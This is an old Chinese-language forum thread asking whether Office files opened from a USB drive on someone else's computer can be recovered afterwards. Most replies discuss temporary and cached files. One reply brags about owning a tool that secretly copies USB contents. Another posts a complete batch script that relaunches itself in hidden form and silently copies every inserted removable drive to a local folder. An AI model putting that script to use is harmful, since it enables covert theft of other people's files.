首页
社区
课程
招聘
打开过的U盘文件可以还原吗
发表于: 2009-8-1 23:23 5516

打开过的U盘文件可以还原吗

2009-8-1 23:23
5516
有个客户问个这个问题,本人也未能确定回答。

具体问题是--为防止资料外泄,一般重新的数据都会存在U盘,比如EXCL、WORD类型的文件,

U盘数据文件可能会在不同电脑工作/打开,客户担心的是,如果在他人的电脑打开过,当U盘不在的时候,

是否通过什么技术也可以及将打开过的文件数据还原出来?

有没人知道?可以还是绝对不可以?
收藏
免费 0
支持
分享
最新回复 (11)
雪    币: 2368
活跃值: (81)
能力值: (RANK:300 )
在线值:
发帖
回帖
粉丝
2
按道理不能123
2009-8-2 15:42
0
雪    币: 9
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
一般还原不了
但是可以写段程序
在U盘插入之后将U盘的东西复制到指定的位置
当然别人是不知道的~嘻嘻

这样就可以将文档什么的留下了

……

我这里就有现成的这样的程序%……
2009-8-2 16:05
0
雪    币: 200
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
U盘退出后 电脑里保存的最多是个快捷方式 但是有的工具是可以将U 盘的 内容  偷取出来的 是后台执行的 你根本发现不了 也就是说U 盘从插上开始 就偷偷的复制U盘里的内容到硬盘里。
2009-8-2 16:13
0
雪    币: 20
活跃值: (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
我觉的看看 riusksk《Windows平台下的监控取证技术》比较牛,在软件调试论坛精华区
还有U盘的内容可以后台拷贝的。
2009-8-2 20:19
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
谢谢各位的回答,问过专业做数据恢复的公司也说是不能还原的.当然借用第三方软件来<偷>另当别论.
2009-8-3 00:53
0
雪    币: 155
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
一般来讲,打开过的Office文件都会有个暂存位置,一般是临时目录,如果你将暂存的目录设置为一个可以恢复的位置,通过文件恢复软件是可以找回一些类似于123456.tmp之类的文件,有些就是真正的Office文件,只是改成了临时的文件名
2009-9-29 12:12
0
雪    币: 15487
活跃值: (3692)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
8
虽然打开doc等文件时候,在本文件的目录中有个临时文件(把隐藏文件的选项去掉能看见),但是当关闭的时候也随之消失,只要不复制到电脑中运行应该没问题,还原不了

3楼的那个软件。。呵呵。。以前我也玩过
2009-9-29 12:32
0
雪    币: 155
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
Office文档非法关闭后会提示你恢复哪个时段的文档就说明了问题,只要在物理磁盘表面写入的文件都有恢复的可能
2009-9-30 11:54
0
雪    币: 230
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
好象有个软件可以窃取U盘内容吧
2009-9-30 13:32
0
雪    币: 212
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
不可能

bat方式
先判断U盘盘符
运行效果:
延迟20秒后自动运行 批处理自身 检测U盘是否存在,若存在则复制U盘所有内容到F:\111\b\文件夹
若不存在则延迟20秒后再调用 批处理自身 如此反复循环.直到有U盘存在.

@echo off
if not exist "%tmp%\utmp.vbs" (
>"%tmp%\utmp.vbs" echo WScript.sleep 20000
>>"%tmp%\utmp.vbs" echo WScript.CreateObject^("WScript.Shell"^).Run "%~s0",0
)
set "var1=fsutil fsinfo drives"
set "var2=fsutil fsinfo drivetype"
for /f "delims=驱动器:\ " %%a in ('%var1%^|more') do (
for /f "delims=:" %%j in ('%var2% %%a:^|find/i "可移动驱动器"') do set "u=%%j"
)
if not defined u (start "" "%tmp%\utmp.vbs") else (
xcopy /y/d/s "%u%:\" "F:\111\b\"
)
exit
2009-10-13 19:47
0
雪    币: 230
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
并不一定,XP系统里有加入一个临时缓存的文件夹,一般是正常打开或使用的程度会临时暂存在这里供调用.
不过一般只有文本类文件可以使用.
2009-10-24 12:27
0
游客
登录 | 注册 方可回帖
返回
//